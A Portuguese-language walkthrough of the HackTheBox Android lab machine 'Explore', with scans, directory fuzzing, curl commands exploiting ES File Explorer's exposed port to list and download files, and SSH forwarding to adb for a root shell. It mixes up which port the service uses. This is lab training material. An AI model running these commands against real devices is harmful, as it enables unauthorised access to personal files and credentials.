Explore Cover

Esta é a primeira máquina Android do HackTheBox. Depois de muitas máquinas com sistemas operacionais, como Linux e Windows, o HTB disponibilizou uma que possui sistema operacional para dispositivos mobile. É bem interessante que isto ocorra, porque também existe pentest para este sistema e a forma de encontrar suas vulnerabilidades será a mesma utilizada em outros sistemas operacionais. Tudo começa com uma enumeração e identificação dos serviços ou aplicativos encontrados. A diferença, neste caso, é a ferramenta usada para acessar o dispositivo.

Informações da Máquina

IP: 10.129.79.156

Sistema Operacional: Android

Nível de dificuldade: Easy

Varredura e Enumeração

Port Scan

Iniciando um scan completo em todas as portas TCP abertas no host com nmap:

# Nmap 7.91 scan initiated Mon Jun 28 20:41:26 2021 as: nmap -vvv -sC -sV -p 2222,42135,45107,59777 --open -Pn -oN details.txt 10.129.79.156
Nmap scan report for 10.129.79.156
Host is up, received user-set (0.33s latency).
Scanned at 2021-06-28 20:41:27 -03 for 115s

PORT      STATE SERVICE REASON         VERSION
2222/tcp  open  ssh     syn-ack ttl 63 (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|   2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqK2WZkEVE0CPTPpWoyDKZkHVrmffyDgcNNVK3PkamKs3M8tyqeFBivz4o8i9Ai8UlrVZ8mztI3qb+cHCdLMDpaO0ghf/50qYVGH4gU5vuVN0tbBJAR67ot4U+7WCcdh4sZHX5NNatyE36wpKj9t7n2XpEmIYda4CEIeUOy2Mm3Es+GD0AAUl8xG4uMYd2rdrJrrO1p15PO97/1ebsTH6SgFz3qjZvSirpom62WmmMbfRvJtNFiNJRydDpJvag2urk16GM9a0buF4h1JCGwMHxpSY05aKQLo8shdb9SxJRa9lMu3g2zgiDAmBCoKjsiPnuyWW+8G7Vz7X6nJC87KpL
42135/tcp open  http    syn-ack ttl 63 ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
45107/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 28 Jun 2021 23:41:32 GMT
|     Content-Length: 22
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|   GetRequest: 
|     HTTP/1.1 412 Precondition Failed
|     Date: Mon, 28 Jun 2021 23:41:32 GMT
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.0 501 Not Implemented
|     Date: Mon, 28 Jun 2021 23:41:38 GMT
|     Content-Length: 29
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Method not supported: OPTIONS
|   Help: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 28 Jun 2021 23:41:55 GMT
|     Content-Length: 26
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: HELP
|   RTSPRequest: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 28 Jun 2021 23:41:39 GMT
|     Content-Length: 39
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     valid protocol version: RTSP/1.0
|   SSLSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 28 Jun 2021 23:41:55 GMT
|     Content-Length: 73
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ?G???,???`~?
|     ??{????w????<=?o?
|   TLSSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 28 Jun 2021 23:41:56 GMT
|     Content-Length: 71
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ??random1random2random3random4
|   TerminalServerCookie: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 28 Jun 2021 23:41:55 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|_    Cookie: mstshash=nmap
59777/tcp open  http    syn-ack ttl 63 Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.91%I=7%D=6/28%Time=60DA5E2E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port45107-TCP:V=7.91%I=7%D=6/28%Time=60DA5E2E%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x20
SF:28\x20Jun\x202021\x2023:41:32\x20GMT\r\nContent-Length:\x2022\r\nConten
SF:t-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\
SF:r\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20412\
SF:x20Precondition\x20Failed\r\nDate:\x20Mon,\x2028\x20Jun\x202021\x2023:4
SF:1:32\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTTP/1\
SF:.0\x20501\x20Not\x20Implemented\r\nDate:\x20Mon,\x2028\x20Jun\x202021\x
SF:2023:41:38\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text/pla
SF:in;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20not\x2
SF:0supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\x20R
SF:equest\r\nDate:\x20Mon,\x2028\x20Jun\x202021\x2023:41:39\x20GMT\r\nCont
SF:ent-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r
SF:\nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20version:
SF:\x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDa
SF:te:\x20Mon,\x2028\x20Jun\x202021\x2023:41:55\x20GMT\r\nContent-Length:\
SF:x2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection
SF::\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessionReq
SF:,DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x2028\x20Jun\x
SF:202021\x2023:41:55\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:\x20
SF:text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInvalid\
SF:x20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?`~\?
SF:\0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(TerminalSe
SF:rverCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Mon,\x202
SF:8\x20Jun\x202021\x2023:41:55\x20GMT\r\nContent-Length:\x2054\r\nContent
SF:-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r
SF:\nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20msts
SF:hash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nD
SF:ate:\x20Mon,\x2028\x20Jun\x202021\x2023:41:56\x20GMT\r\nContent-Length:
SF:\x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnectio
SF:n:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01\0\0
SF:e\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");
Service Info: Device: phone

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 28 20:43:22 2021 -- 1 IP address (1 host up) scanned in 116.23 seconds

O resultado do nmap já entrega um serviço suspeito rodando na porta 54107, o ‘ES File Explorer’. Este é o nome de um conhecido navegador de arquivos para Android.

Diretórios e arquivos

Continuando com a enumeração, podemos visualizar os diretórios do dispositivo com o wfuzz.

wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404,400 http://10.129.79.156:59777/FUZZ

Saída do comando.

000000157:   301        0 L      3 W        71 Ch       "product"                                                                                               
000000182:   301        0 L      3 W        65 Ch       "data"                                                                                                  
000000334:   301        0 L      3 W        59 Ch       "d"                                                                                                     
000000482:   301        0 L      3 W        71 Ch       "storage"                                                                                               
000000483:   301        0 L      3 W        63 Ch       "bin"                                                                                                   
000000706:   301        0 L      3 W        69 Ch       "system"                                                                                                
000000721:   301        0 L      3 W        63 Ch       "lib"                                                                                                   
000000834:   301        0 L      3 W        63 Ch       “dev”
000001083:   301        0 L      3 W        67 Ch       "cache"                                                                                                 
000001411:   301        0 L      3 W        63 Ch       "etc"                                                                                                   
000001481:   301        0 L      3 W        69 Ch       "vendor"                                                                                                
000001490:   301        0 L      3 W        69 Ch       "config"
000002524:   301        0 L      3 W        63 Ch       "oem"                                                                                                   
000003790:   403        0 L      4 W        32 Ch       "%20"                                                                                                   
000004201:   301        0 L      3 W        63 Ch       "sys" 

O sdcard é o diretório de armazenamento interno do Android e nele foi feito um scan em busca de algum arquivo de texto ou outro arquivo que seja útil.

wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404,400 http://10.129.79.156:59777/sdcard/FUZZ.txt

Saída do comando.

000000125:   200        1 L      1 W        33 Ch       "user"

O resultado acima nos mostra a primeira flag, a do user.txt.

Vulnerabilidade

O nmap mostrou que o aplicativo ‘ES File Explorer’ está ouvindo na porta 42135, então uma busca foi feita para encontrar algum exploit.

ES File Explorer exploit

O resultado da pesquisa mostra este artigo mostrando como executar comandos com o curl para obter informações do ‘ES File Explorer’.

ES File Explorer CVE

O mesmo pode ser feito com este exploit em Python.

Exploração

O comando curl fará a requisição ao IP e porta localizados no nmap, mas enviará também o comando esperado pelo ‘ES File Explorer’. Abaixo o comando ‘getDeviceInfo’ foi enviado para obter informações do dispositivo.

Exploração

O ES pode receber vários outros comandos, como mostrado a seguir.

Comands ES

Depois de testar alguns comandos da listagem acima, uma imagem suspeita foi localizada com o comando ‘listPics’.

curl --header "Content-Type: application/json" --request POST --data '{"command":"listPics"}' http://10.129.79.156:59777
Listando arquivos de imagens

Analisando os arquivos de imagem encontrados, o mais suspeito é o creds.jpg.

{"name":"creds.jpg", "time":"4/21/21 02:38:18 AM", "location":"/storage/emulated/0/DCIM/creds.jpg", "size":"1.14 MB (1,200,401 Bytes)", },

Baixando a imagem.

wget http://10.129.79.156:59777/storage/emulated/0/DCIM/creds.jpg

Ao abrir a imagem surge uma credencial, que será utilizada para acessar o dispositivo.

Credenciais

Com esta credencial já é possível acessar o SSH no dispositivo.

SSH Port-Forwarding

Após enumerar diretórios é necessário também verificar as portas locais abertas no dispositivo.

Portas abertas

Foi encontrada a porta 5555 aberta e para poder acessá-la desde a máquina local um SSH port-forwarding foi feito.

ssh -L 5555:127.0.0.1:5555 kristi@10.129.79.156 -p 2222

Escalação de Privilégios

Tendo a porta 5555 do dispositivo aberta localmente, é possível conectar-se utilizando o adb.

Instalando o adb.

sudo apt install adb

Conectando na porta 5555 localmente com adb e obtendo uma shell de usuário.

Adb shell

Uma vez conectado basta rodar o ‘su’ no terminal para obter a shell do root.

su
Sheel root

Listando os arquivos em modo root.

Diretórios

Dentro do diretório ‘data’ encontra-se a flag do root.

Root flag

Até a próxima!